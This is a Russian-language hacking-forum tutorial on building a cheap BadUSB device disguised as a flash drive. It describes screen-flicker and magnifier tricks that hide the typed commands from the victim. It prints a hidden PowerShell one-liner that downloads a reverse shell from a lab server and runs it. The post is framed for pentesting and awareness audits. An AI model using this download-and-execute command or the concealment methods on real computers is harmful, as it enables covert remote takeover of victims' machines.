HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Электроника и Фрикинг
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 10.09.2020, 04:47
BearSec
Участник форума
Регистрация: 08.07.2020
Сообщений: 214
С нами: 3079637

Репутация: 0
По умолчанию

Всем привет!

Представляю вашему вниманию статью из разряда “очумелые ручки”.
С помощью [S]пластиковых бутылок[/S] платы с микроконтроллером Atmega32u4и паяльника сделаем BadUSB.

Вот ссылки на статьи об устройстве BadUSB на нашем форуме, при разработке я их активно использовал и перерабатывал под свои нужды. Всем авторам и комментаторам спасибо.

Digispark - badusb за 1$

Хочу рассказать о младшем (возможно даже отсталом и ущербном) брате Rubber Ducky - DigiSpark.

codeby.net


Bad USB на ATtiny 85

Всем привет. Представляю вам Bad USB на ATtiny 85. Разработчик -== Yukinoshita47/megumi-san-bad-usb Проект USB BAD или более известный как Ducky Rubber USB. Megumum usb bad - это проект, ориентированный на аппаратное хакерство от Garuda Security Hackers. Оборудование может быть...

codeby.net


Bad Usb или как я уток разводил, Практическое пособие по Rubber Duck

Дали им звучное имя Rubber Duck. Как Вы догадались, эта порода уток ни что иное, как Bad Usb.

codeby.net


Учим BadUSB работать с разными раскладками клавиатуры

Заглавие Всем доброго времени суток, о BadUsb, Usb Rubber Ducky и о том, как самому сделать аналог данного устройства написано уже много статей. В этой же статье мы рассмотрим решение проблемы BadUsb при работе с разными раскладками клавиатуры. В качестве инструкции по созданию своего BadUsb...

codeby.net


Введение
Да, возможно, кого-то тема BadUSB уже подзадолбала, но я давно хотел смастерить девайс, реально похожий на флешку и не стоящий 50 баксов, как оригинальное устройство от Hak5.



(Оригинальное устройство от Hak5)
На выходе мы получим аккуратное устройство, похожее на флешку, имеющее на борту достаточно памяти, чтобы набрать shell-код с помощью ALT-кодов.
Короче говоря - дешево, красиво, эффективно (ну, насколько это может позволить BadUSB).



(Вот такое устройство у нас получится)
Себестоимость нашего устройства выйдет долларов в 6-7 без доставки компонентов и без стоимости оборудования.

Подготовка
Необходимые инструменты:
  • Ножницы по металлу (они позволят нам меньше работать напильником);
  • Напильник;
  • Паяльник, флюс, припой;
  • Спирт (отмывать плату от флюса, не употреблять внутрь);
  • Руки (если руки золотые, то неважно, откуда они растут)
Необходимые компоненты:
  • Плата с микроконтроллером Atmega32u4;
  • Флешка, которую мы распотрошим и будем использовать от неё корпус;
  • USB Type-A разъём, чтобы устройство выглядело убедительно и была похожа на настоящую (я рекомендую разъемы с небольшими хвостиками, а не под пайку проводов).

Итак, использовать в своем [S]рукоблудстве[/S] [S]рукожопстве[/S] проекте я буду плату, которую на просторах алиэкспресса называют Mini SS Micro.

Плата имеет интересный форм-фактор, маленький размер и на борту распаян микроконтроллер Atmega32U4.

Почему для устройства я выбрал плату Mini SS Micro:
  • Она дешёвая и на ней установлен микроконтроллер, позволяющий эмулировать клавиатуру;
  • В ней в 4,5 раза больше памяти, чем в Digispark(28 Кб ATmega32u4против 6 Кб Attiny85(значения после вычета загрузчика));
  • Размер платы (длина 30-мм , ширина 20-мм, плюс эти размеры можно ещё уменьшить), если подработать напильником - влезет в стандартный корпус флешки;
  • Именно из-за размеров я не выбрал плату Arduino Pro Micro, у неё длина 35-мм и уменьшить этот размер нет никакой возможности;
  • Разъем формата USB Type-A, (удобнее паять, чем Micro usb).








(Mini SS Micro vs. Pro Micro)
Далее приведу размеры внутреннего пространства выбранного типа флешки:
  • Ширина - 16.44 мм;
  • Длина до стоек - 27,1 мм;
  • Длина до начала закругления - 32.4 мм.


(Богатый внутренний мир донорской флешки)
Заканчиваем с описанием и начинаем работать руками, а потом головой.

Собираем устройство
Берём плату и ножницы по металлу и первыми делом с отрезаем боковые части в области отверстий под пайку.
Далее аккуратно шлифуем напильником с двух сторон, до момента, пока плата не влезет во флешку.

К сожалению, я нигде не смог найти в интернете схему этой чудо-платы, чтобы точно сказать, до какого места можно шлифовать.
Однако, когда я делал своё устройство, то я старался ориентироваться на шелкографию отверстий под пайку, оставляя нетронутой часть, как показано на изображении ниже.



(Красным отмечены линии реза и последующей шлифовки)
Следующим шагом отрезаем переднюю часть платы, чтобы дорожки для подключения платы к USB были ровные и их было удобнее паять к разъему USB Type-A (не понимаю, почему китайцы их сделали разными)

Теперь достаём паяльник, флюс и начинаем паять (я использовал глицин и какой-то китайский припой).
Примеряем внешний разъем USB Type-A к нашей плате, совсем чуть-чуть лудим контакты на плате и контакты на разъеме.
Далее накладываем их друг на друга и припаиваем, получается аккуратно и относительно крепко.

(Для желающих погрузиться в сферу пайки крайне рекомендую вот эту серию видео, но вообще на просторах интернета полно информации про пайку, главное в этом деле больше практики)




(Плата после пайки с флюсом выглядит крайне не привлекательно)
Не забываем отмыть флюс! Да, глицин ,вроде, не вызывает сильной коррозии на контактах и не коротит, но выглядит плата неаккуратно, и почистить плату лишним никогда не будет.




(Плата выглядит уже лучше)
Далее, можем примерить получившееся устройство в корпус от флешки, и, если всё устраивает, то я рекомендую посадить плату в корпус флешки на клей (я посадил на [S]горячие сопли[/S] термоклей и он держит отлично).

Программируем наше устройство
Так получилось, что пока комплектующие добирались до меня, участник форума (elrock) успел меня опередить и написать статью об использовании ALT-кодов для ввода команд латиницей при любой раскладке клавиатуры.
Поэтому особо не буду вдаваться в подробности работы контроллера с ALT кодами, ссылка на статью указана в начале поста (Учим BadUSB работать с разными раскладками клавиатуры).

Я же для себя подготовил простой скрипт на Python, который сначала переводит символы из строки в код символа, согласно ASCII таблице. Далее код каждого символа преобразуется в последовательность нажатий клавиш на NumPad при нажатой кнопке ALT.




(Дружелюбный интерфейс скрипта)
Команды можно вводить последовательно, главное - после ввода всех команд нажать CTRL+C, чтобы скрипт корректно сохранил код нашей функции в файл payload.txt

После подготовки кода "полезной нагрузки" нам остаётся его скопировать из файла payload.txt и вставить в наш скетч.

Я долго размышлял над вариантами отвлечения внимания пользователя компьютера во время набора команд.
В своё время были мысли сделать скетч, который куртил-вертел изображения экрана с помощью горячих клавиш WIndows, но эту фишку убрали.

Однако я нашёл ещё один вариант: с помощью комбинации клавиш WIN+CTRL+SHIFT+B мы можем перезагрузить видеодрайвер, экран погаснет секунды на 2, но возможность вводить текст с клавиатуры в это время не будет заблокировано. Поэтому я подготовил 4 варианта скетча:

1. Первый скетч - «Привет, эпилептик!».
Через каждые 15 символов ввода мы будем перезагружать видеодрайвер, и экран будет «весело» моргать.
После ввода «полезной нагрузки» устройство блокируем комп.
Да, это не очень сильно осложнит восприятие ввода команды, будет крайне подозрительно, но оставим и такой вариант. Вдруг у пользователя частота моргания глаз войдёт в резонанс с частотой моргания экрана, тогда он точно ничего не увидит




(Если не получим доступ к компьютеру, то хотя бы вызовем у жертвы мигрень!)
2. Второй скетч - «Чешский крот».
Перед началом выполнения «полезной нагрузки» мы с помощью горячих клавиш Windows 10 включаем экранную лупу и максимально приближаем изображение.
При вводе текста нашим устройством лупа переместится к экрану ввода, но увидеть можно будет только часть окна.
После завершения ввода мы отключаем экранную лупу и блокируем комп.




(Плохо видно, можно покрупнее???)
3. Третий скетч является комбинацией первого и второго скетча, он получит кодовое название «Крот-эпилептик».
Как понятно из названия, мы включаем экранную лупу, и через каждые 15 символов ввода мы будем перезагружать видеодрайвер для моргания экраном.
После завершения ввода команды - выключаем экранную лупу и блокируем комп.




(Выглядит уже интереснее)
4. Скетч “Блиц-скорость без границ”. В этом варианте наше устройство будет просто быстро набирает команду, а потом заблокирует комп. Скучно, но работает.




(Может, кто-то будет очень долго моргать и не заметит?)
Все приложенные скрипты это - один и тот же скрипт, в котором присутствуют или отсутствуют комментарии некоторых строк кода и изменены тайминги задержек.
Также в коде, в разделе setup(), есть 2 закомментированные строки. Они отвечают за нажатие кнопки NumLock и повторное выполнение кода.
Существует вероятность, что NumLock будет отключен, и тогда все наши ALT-коды не сработают, поэтому можно продублировать выполнение кода после включения NumLock.
Для себя я эти строки закомментировал, но вы можете их раскомментировать.

(прикреплен в конце этого поста)

Переходим к демонстрации
В качестве демонстрации я записал короткие видеоролики, на них показаны 2 виртуальные машины. Одна - с Win 10, другая - с Kali Linux.
На Kali у нас запущен listener на порту 7997 и веб-сервер, на котором лежит текстовый файл, который содержит в себе reverse shell, написанный на PowerShell.

В качестве «полезной нагрузки» для нашего устройства мы будем использовать следующую команду:

Код:


Код:
powershell -NoProfile -WindowStyle Hidden -c "IEX((new-object system.net.webclient).downloadstring('http://172.16.0.11/1.txt'))"
Демонстрации подготовки «полезной нагрузки» и прошивки устройства

Демонстрации применения готового устройства, виртуальная машина немного лагала, на живой системе всё отрабатывает быстрее.

Оригинальноя Rubber Ducky от Hak5 используется свой синтаксис , но, при желании и небольшом старании, в нём можно быстро разобраться и переписать готовые скрипты для уточки в формат выполнения кода под наше устройство.
Payloads оригинальной уточки можно найти тут.

Заключение
Я доволен результатом, готовое устройство мне нравится, выглядит хорошо, визуально не отличается от флешки.
Параноиков, вскрывающих флешки перед их использованием, я никогда не встречал, поэтому это может быть интересный и относительно дешевый инструмент для пентестов или использоваться для аудита осведомленности сотрудников (об этом я расскажу в следующей статье).

На просторах алиэкспресcа мной также были найдены альтернативные варианты BadUSB:

Но, будем честны друг с другом, BadUSB имеет минусы, и не маленькие. Главный минус заключается в том, что любое нажатие на обычной клавиатуре, во время ввода команды устройством, с 95% вероятностью сломает "полезную нагрузку", и мы останемся [S]с дырявым ведром[/S] у разбитого корыта.

Всем дочитавшим до конца спасибо за внимание!

P.S. Изначально, работая над этим проектом, я хотел использовать DigiSparkс Attyny85, но всё упёрлось в недостаток памяти на микроконтроллере.
 
Ответить с цитированием
 



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.